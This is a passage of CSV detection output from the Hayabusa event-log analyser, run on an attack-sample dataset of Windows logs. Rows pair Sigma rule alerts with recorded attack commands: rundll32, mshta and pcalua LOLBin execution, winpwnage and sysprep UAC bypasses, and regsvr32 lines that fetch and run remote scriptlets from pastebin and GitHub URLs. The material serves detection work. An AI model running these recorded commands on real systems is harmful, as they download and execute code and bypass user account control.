",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_11_lolbin_rundll32_openurl_FileProtocolHandler.evtx +2019-05-12 22:33:37.078 +09:00,IEWIN7,1,medium,Suspicious Rundll32 Activity,,rules/sigma/process_creation/win_susp_rundll32_activity.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_11_lolbin_rundll32_openurl_FileProtocolHandler.evtx +2019-05-12 22:33:59.743 +09:00,IEWIN7,1,informational,Process Creation,"Command: rundll32.exe url.dll,FileProtocolHandler file://C:/Windows/system32/calc.exe : Path: C:\Windows\System32\rundll32.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_11_lolbin_rundll32_openurl_FileProtocolHandler.evtx +2019-05-12 22:33:59.743 +09:00,IEWIN7,1,medium,Suspicious Rundll32 Activity,,rules/sigma/process_creation/win_susp_rundll32_activity.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_11_lolbin_rundll32_openurl_FileProtocolHandler.evtx +2019-05-12 22:38:00.523 +09:00,IEWIN7,1,informational,Process Creation,"Command: rundll32.exe url.dll,FileProtocolHandler file:///C:/programdata/calc.hta : Path: C:\Windows\System32\rundll32.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_11_lolbin_rundll32_openurl_FileProtocolHandler.evtx +2019-05-12 22:38:00.523 +09:00,IEWIN7,1,medium,Suspicious Rundll32 Activity,,rules/sigma/process_creation/win_susp_rundll32_activity.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_11_lolbin_rundll32_openurl_FileProtocolHandler.evtx +2019-05-12 22:38:00.712 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\mshta.exe"" ""C:\programdata\calc.hta"" : Path: C:\Windows\System32\mshta.exe : User: IEWIN7\IEUser : Parent Command: rundll32.exe url.dll,FileProtocolHandler file:///C:/programdata/calc.hta",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_11_lolbin_rundll32_openurl_FileProtocolHandler.evtx +2019-05-12 22:38:00.712 +09:00,IEWIN7,1,high,MSHTA Suspicious Execution 01,,rules/sigma/process_creation/win_susp_mshta_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_11_lolbin_rundll32_openurl_FileProtocolHandler.evtx +2019-05-12 22:38:00.712 +09:00,IEWIN7,1,high,Windows Shell Spawning Suspicious Program,,rules/sigma/process_creation/win_shell_spawn_susp_program.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_11_lolbin_rundll32_openurl_FileProtocolHandler.evtx +2019-05-12 22:38:00.712 +09:00,IEWIN7,1,high,Suspicious MSHTA Process Patterns,,rules/sigma/process_creation/win_susp_mshta_pattern.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_11_lolbin_rundll32_openurl_FileProtocolHandler.evtx +2019-05-12 22:38:01.383 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\calc.exe"" : Path: C:\Windows\System32\calc.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\System32\mshta.exe"" ""C:\programdata\calc.hta"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_11_lolbin_rundll32_openurl_FileProtocolHandler.evtx +2019-05-12 22:55:56.626 +09:00,IEWIN7,1,informational,Process Creation,"Command: python winpwnage.py -u execute -i 12 -p c:\Windows\System32\calc.exe : Path: C:\Python27\python.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_11_lolbin_rundll32_shdocvw_openurl.evtx +2019-05-12 22:56:12.652 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\rundll32.exe"" shdocvw.dll,OpenURL c:\users\ieuser\appdata\local\temp\shdocvw.url : Path: C:\Windows\System32\rundll32.exe : User: IEWIN7\IEUser : Parent Command: python winpwnage.py -u execute -i 12 -p c:\Windows\System32\calc.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_11_lolbin_rundll32_shdocvw_openurl.evtx +2019-05-12 22:56:12.652 +09:00,IEWIN7,1,medium,Suspicious Rundll32 Activity,,rules/sigma/process_creation/win_susp_rundll32_activity.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_11_lolbin_rundll32_shdocvw_openurl.evtx +2019-05-12 22:58:39.850 +09:00,IEWIN7,1,informational,Process Creation,"Command: python winpwnage.py -u execute -i 14 -p c:\Windows\System32\calc.exe : Path: C:\Python27\python.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_11_lolbin_rundll32_zipfldr_RouteTheCall.evtx +2019-05-12 22:58:54.897 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\rundll32.exe"" zipfldr.dll,RouteTheCall c:\Windows\System32\calc.exe : Path: C:\Windows\System32\rundll32.exe : User: IEWIN7\IEUser : Parent Command: python winpwnage.py -u execute -i 14 -p c:\Windows\System32\calc.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_11_lolbin_rundll32_zipfldr_RouteTheCall.evtx +2019-05-12 22:58:54.897 +09:00,IEWIN7,1,medium,Suspicious Rundll32 Activity,,rules/sigma/process_creation/win_susp_rundll32_activity.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_11_lolbin_rundll32_zipfldr_RouteTheCall.evtx +2019-05-12 23:18:03.589 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" : Path: C:\Windows\System32\cmd.exe : User: IEWIN7\IEUser : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_lolbin_rundll32_advpack_RegisterOCX.evtx +2019-05-12 23:18:09.589 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\rundll32.exe"" advpack.dll,RegisterOCX c:\Windows\System32\calc.exe : Path: C:\Windows\System32\rundll32.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_lolbin_rundll32_advpack_RegisterOCX.evtx +2019-05-12 23:18:09.589 +09:00,IEWIN7,1,medium,Suspicious Rundll32 Activity,,rules/sigma/process_creation/win_susp_rundll32_activity.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_lolbin_rundll32_advpack_RegisterOCX.evtx +2019-05-13 02:01:43.391 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" : Path: C:\Windows\System32\cmd.exe : User: IEWIN7\IEUser : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_lolbin_pcalua.evtx +2019-05-13 02:01:50.781 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\pcalua.exe"" -a c:\Windows\system32\calc.exe : Path: C:\Windows\System32\pcalua.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_lolbin_pcalua.evtx +2019-05-13 02:01:51.007 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\system32\calc.exe"" : Path: C:\Windows\System32\calc.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\System32\pcalua.exe"" -a c:\Windows\system32\calc.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_lolbin_pcalua.evtx +2019-05-13 02:01:51.007 +09:00,IEWIN7,1,low,Indirect Command Execution,,rules/sigma/process_creation/win_indirect_cmd.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_lolbin_pcalua.evtx +2019-05-13 02:09:02.275 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\rundll32.exe"" pcwutl.dll,LaunchApplication c:\Windows\system32\calc.exe : Path: C:\Windows\System32\rundll32.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_rundll32_pcwutl_LaunchApplication.evtx +2019-05-13 02:09:02.275 +09:00,IEWIN7,1,medium,Code Execution via Pcwutl.dll,,rules/sigma/process_creation/win_susp_pcwutl.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_rundll32_pcwutl_LaunchApplication.evtx +2019-05-13 02:09:02.275 +09:00,IEWIN7,1,medium,Suspicious Rundll32 Activity,,rules/sigma/process_creation/win_susp_rundll32_activity.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_rundll32_pcwutl_LaunchApplication.evtx +2019-05-13 02:20:01.980 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" : Path: C:\Windows\System32\cmd.exe : User: IEWIN7\IEUser : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_ftp.evtx +2019-05-13 02:20:31.183 +09:00,IEWIN7,1,informational,Process Creation,"Command: python winpwnage.py -u execute -i 11 -p c:\Windows\system32\calc.exe : Path: C:\Python27\python.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_ftp.evtx +2019-05-13 02:20:49.443 +09:00,IEWIN7,1,informational,Process Creation,"Command: C:\Windows\system32\cmd.exe /C c:\Windows\system32\calc.exe : Path: C:\Windows\System32\cmd.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\System32\ftp.exe"" -s:c:\users\ieuser\appdata\local\temp\ftp.txt",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_ftp.evtx +2019-05-13 02:20:49.443 +09:00,IEWIN7,1,medium,Suspicious ftp.exe,,rules/sigma/process_creation/win_susp_ftp.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_ftp.evtx +2019-05-13 02:20:49.458 +09:00,IEWIN7,1,informational,Process Creation,Command: c:\Windows\system32\calc.exe : Path: C:\Windows\System32\calc.exe : User: IEWIN7\IEUser : Parent Command: C:\Windows\system32\cmd.exe /C c:\Windows\system32\calc.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_ftp.evtx +2019-05-13 03:04:50.121 +09:00,IEWIN7,59,informational,Bits Job Creation,Job Title: backdoor : URL: C:\Windows\system32\cmd.exe,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persist_bitsadmin_Microsoft-Windows-Bits-Client-Operational.evtx +2019-05-13 03:35:05.155 +09:00,IEWIN7,1,informational,Process Creation,"Command: regsvr32.exe /u /s /i:http://pastebin.com/raw/H4A4iDTA scrobj.dll : Path: C:\Windows\System32\regsvr32.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_lobin_regsvr32_sct.evtx +2019-05-13 03:35:05.155 +09:00,IEWIN7,1,high,Regsvr32 Anomaly,,rules/sigma/process_creation/win_susp_regsvr32_anomalies.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_lobin_regsvr32_sct.evtx +2019-05-13 03:35:05.155 +09:00,IEWIN7,1,high,Regsvr32 Flags Anomaly,,rules/sigma/process_creation/win_susp_regsvr32_flags_anomaly.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_lobin_regsvr32_sct.evtx +2019-05-13 03:35:05.780 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\cmd.exe"" : Path: C:\Windows\System32\cmd.exe : User: IEWIN7\IEUser : Parent Command: regsvr32.exe /u /s /i:http://pastebin.com/raw/H4A4iDTA scrobj.dll",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_lobin_regsvr32_sct.evtx +2019-05-13 03:35:06.562 +09:00,IEWIN7,3,high,Regsvr32 Network Activity,,rules/sigma/network_connection/sysmon_regsvr32_network_activity.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_lobin_regsvr32_sct.evtx +2019-05-13 03:48:52.219 +09:00,IEWIN7,1,informational,Process Creation,"Command: jabber.exe /u /s /i:http://pastebin.com/raw/H4A4iDTA .\jabber.dll : Path: C:\ProgramData\jabber.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_lolbin_renamed_regsvr32_scrobj.evtx +2019-05-13 03:48:52.766 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\cmd.exe"" : Path: C:\Windows\System32\cmd.exe : User: IEWIN7\IEUser : Parent Command: jabber.exe /u /s /i:http://pastebin.com/raw/H4A4iDTA .\jabber.dll",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Execution/exec_sysmon_1_lolbin_renamed_regsvr32_scrobj.evtx +2019-05-13 23:50:59.389 +09:00,IEWIN7,59,informational,Bits Job Creation,Job Title: hola : URL: C:\Windows\system32\cmd.exe,rules/hayabusa/default/events/BitsClientOperational/59_BITS-Jobs_BitsJobCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/persist_bitsadmin_Microsoft-Windows-Bits-Client-Operational.evtx +2019-05-14 03:02:49.160 +09:00,IEWIN7,1,informational,Process Creation,Command: C:\Windows\System32\mobsync.exe -Embedding : Path: C:\Windows\System32\mobsync.exe : User: IEWIN7\IEUser : Parent Command: C:\Windows\system32\svchost.exe -k DcomLaunch,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_1_persist_bitsjob_SetNotifyCmdLine.evtx +2019-05-14 03:03:19.681 +09:00,IEWIN7,1,informational,Process Creation,Command: /c notepad.exe : Path: C:\Windows\System32\cmd.exe : User: IEWIN7\IEUser : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_1_persist_bitsjob_SetNotifyCmdLine.evtx +2019-05-14 03:03:19.681 +09:00,IEWIN7,1,informational,Process Creation,Command: /u /s /i:https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct scrobj.dll : Path: C:\Windows\System32\regsvr32.exe : User: IEWIN7\IEUser : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_1_persist_bitsjob_SetNotifyCmdLine.evtx +2019-05-14 03:03:19.681 +09:00,IEWIN7,1,high,Regsvr32 Flags Anomaly,,rules/sigma/process_creation/win_susp_regsvr32_flags_anomaly.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_1_persist_bitsjob_SetNotifyCmdLine.evtx +2019-05-14 03:03:19.681 +09:00,IEWIN7,1,high,Regsvr32 Anomaly,,rules/sigma/process_creation/win_susp_regsvr32_anomalies.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_1_persist_bitsjob_SetNotifyCmdLine.evtx +2019-05-14 03:03:19.895 +09:00,IEWIN7,1,informational,Process Creation,Command: notepad.exe : Path: C:\Windows\System32\notepad.exe : User: IEWIN7\IEUser : Parent Command: /c notepad.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_1_persist_bitsjob_SetNotifyCmdLine.evtx +2019-05-14 03:03:21.212 +09:00,IEWIN7,3,high,Regsvr32 Network Activity,,rules/sigma/network_connection/sysmon_regsvr32_network_activity.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_1_persist_bitsjob_SetNotifyCmdLine.evtx +2019-05-14 03:05:18.692 +09:00,IEWIN7,1,informational,Process Creation,Command: wmiadap.exe /F /T /R : Path: C:\Windows\System32\wbem\WMIADAP.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Persistence/sysmon_1_persist_bitsjob_SetNotifyCmdLine.evtx +2019-05-14 10:29:04.306 +09:00,IEWIN7,1,informational,Process Creation,Command: C:\Windows\System32\mshta.exe -Embedding : Path: C:\Windows\System32\mshta.exe : User: IEWIN7\IEUser : Parent Command: C:\Windows\system32\svchost.exe -k DcomLaunch,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_DCOM_MSHTA_LethalHTA_Sysmon_3_1.evtx +2019-05-14 10:29:04.306 +09:00,IEWIN7,1,high,MSHTA Suspicious Execution 01,,rules/sigma/process_creation/win_susp_mshta_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_DCOM_MSHTA_LethalHTA_Sysmon_3_1.evtx +2019-05-14 10:29:04.306 +09:00,IEWIN7,1,high,Suspicious MSHTA Process Patterns,,rules/sigma/process_creation/win_susp_mshta_pattern.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_DCOM_MSHTA_LethalHTA_Sysmon_3_1.evtx +2019-05-14 10:29:04.306 +09:00,IEWIN7,1,high,MSHTA Spwaned by SVCHOST,,rules/sigma/process_creation/win_lethalhta.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_DCOM_MSHTA_LethalHTA_Sysmon_3_1.evtx +2019-05-14 11:32:48.290 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\system32\whoami.exe"" /groups : Path: C:\Windows\System32\whoami.exe : User: IEWIN7\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_7_elevate_uacbypass_sysprep.evtx +2019-05-14 11:32:48.290 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_7_elevate_uacbypass_sysprep.evtx +2019-05-14 11:32:48.290 +09:00,IEWIN7,1,medium,Whoami Execution,,rules/sigma/process_creation/win_susp_whoami.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_7_elevate_uacbypass_sysprep.evtx +2019-05-14 11:32:48.290 +09:00,IEWIN7,1,low,Local Accounts Discovery,,rules/sigma/process_creation/win_local_system_owner_account_discovery.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_7_elevate_uacbypass_sysprep.evtx +2019-05-14 11:32:48.359 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\system32\whoami.exe"" /groups : Path: C:\Windows\System32\whoami.exe : User: IEWIN7\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_7_elevate_uacbypass_sysprep.evtx +2019-05-14 11:32:48.359 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_7_elevate_uacbypass_sysprep.evtx +2019-05-14 11:32:48.359 +09:00,IEWIN7,1,medium,Whoami Execution,,rules/sigma/process_creation/win_susp_whoami.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_7_elevate_uacbypass_sysprep.evtx +2019-05-14 11:32:48.359 +09:00,IEWIN7,1,low,Local Accounts Discovery,,rules/sigma/process_creation/win_local_system_owner_account_discovery.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_7_elevate_uacbypass_sysprep.evtx +2019-05-14 11:32:51.143 +09:00,IEWIN7,1,informational,Process Creation,Command: consent.exe 968 288 03573528 : Path: C:\Windows\System32\consent.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_7_elevate_uacbypass_sysprep.evtx +2019-05-14 11:32:51.453 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\sysprep\sysprep.exe"" : Path: C:\Windows\System32\sysprep\sysprep.exe : User: IEWIN7\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_7_elevate_uacbypass_sysprep.evtx +2019-05-14 11:32:51.453 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_7_elevate_uacbypass_sysprep.evtx +2019-05-14 11:32:51.470 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\sysprep\sysprep.exe"" ""C:\Windows\System32\sysprep\sysprep.exe"" : Path: C:\Windows\System32\sysprep\sysprep.exe : User: IEWIN7\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_7_elevate_uacbypass_sysprep.evtx +2019-05-14 11:32:51.470 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_7_elevate_uacbypass_sysprep.evtx +2019-05-14 11:32:51.487 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\sysprep\sysprep.exe"" : Path: C:\Windows\System32\sysprep\sysprep.exe : User: IEWIN7\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_7_elevate_uacbypass_sysprep.evtx +2019-05-14 11:32:51.487 +09:00,IEWIN7,1,informational,Process Creation,Command: consent.exe 968 312 0197CDB0 : Path: C:\Windows\System32\consent.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_7_elevate_uacbypass_sysprep.evtx +2019-05-14 11:32:51.487 +09:00,IEWIN7,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_7_elevate_uacbypass_sysprep.evtx +2019-05-14 11:32:51.814 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\System32\sysprep\sysprep.exe"" : Path: C:\Windows\System32\sysprep\sysprep.exe : User: IEWIN7\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_7_elevate_uacbypass_sysprep.evtx +2019-05-14 11:32:51.831 +09:00,IEWIN7,1,informational,Process Creation,"Command: ""C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"" : Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe : User: IEWIN7\IEUser : Parent Command: ""C:\Windows\System32\sysprep\sysprep.exe"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_7_elevate_uacbypass_sysprep.evtx +2019-05-14 11:32:51.831 +09:00,IEWIN7,1,low,Non Interactive PowerShell,,rules/sigma/process_creation/win_non_interactive_powershell.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/sysmon_1_7_elevate_uacbypass_sysprep.evtx +2019-05-14 23:04:05.697 +09:00,alice.insecurebank.local,11,high,Hijack Legit RDP Session to Move Laterally,,rules/sigma/file_event/sysmon_tsclient_filewrite_startup.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_tsclient_startup_folder.evtx +2019-05-15 02:17:26.440 +09:00,alice.insecurebank.local,3,low,PowerShell Network Connections,,rules/sigma/network_connection/sysmon_powershell_network_connection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_sysmon_3_Invoke_UserHunter_SourceMachine.evtx +2019-05-15 02:17:26.738 +09:00,alice.insecurebank.local,3,low,PowerShell Network Connections,,rules/sigma/network_connection/sysmon_powershell_network_connection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/discovery_sysmon_3_Invoke_UserHunter_SourceMachine.evtx +2019-05-15 13:18:40.474 +09:00,IEWIN7,13,high,Office Security Settings Changed,,rules/sigma/registry_event/sysmon_reg_office_security.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/de_sysmon_13_VBA_Security_AccessVBOM.evtx +2019-05-16 10:31:36.426 +09:00,DC1.insecurebank.local,1,informational,Process Creation,Command: C:\Windows\system32\WinrsHost.exe -Embedding : Path: C:\Windows\System32\winrshost.exe : User: insecurebank\Administrator : Parent Command: C:\Windows\system32\svchost.exe -k DcomLaunch,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_winrm_exec_sysmon_1_winrshost.evtx +2019-05-16 10:31:36.454 +09:00,DC1.insecurebank.local,1,informational,Process Creation,Command: C:\Windows\system32\cmd.exe /C ipconfig : Path: C:\Windows\System32\cmd.exe : User: insecurebank\Administrator : Parent Command: C:\Windows\system32\WinrsHost.exe -Embedding,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_winrm_exec_sysmon_1_winrshost.evtx +2019-05-16 10:31:36.456 +09:00,DC1.insecurebank.local,1,informational,Process Creation,Command: ipconfig : Path: C:\Windows\System32\ipconfig.exe : User: insecurebank\Administrator : Parent Command: C:\Windows\system32\cmd.exe /C ipconfig,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral 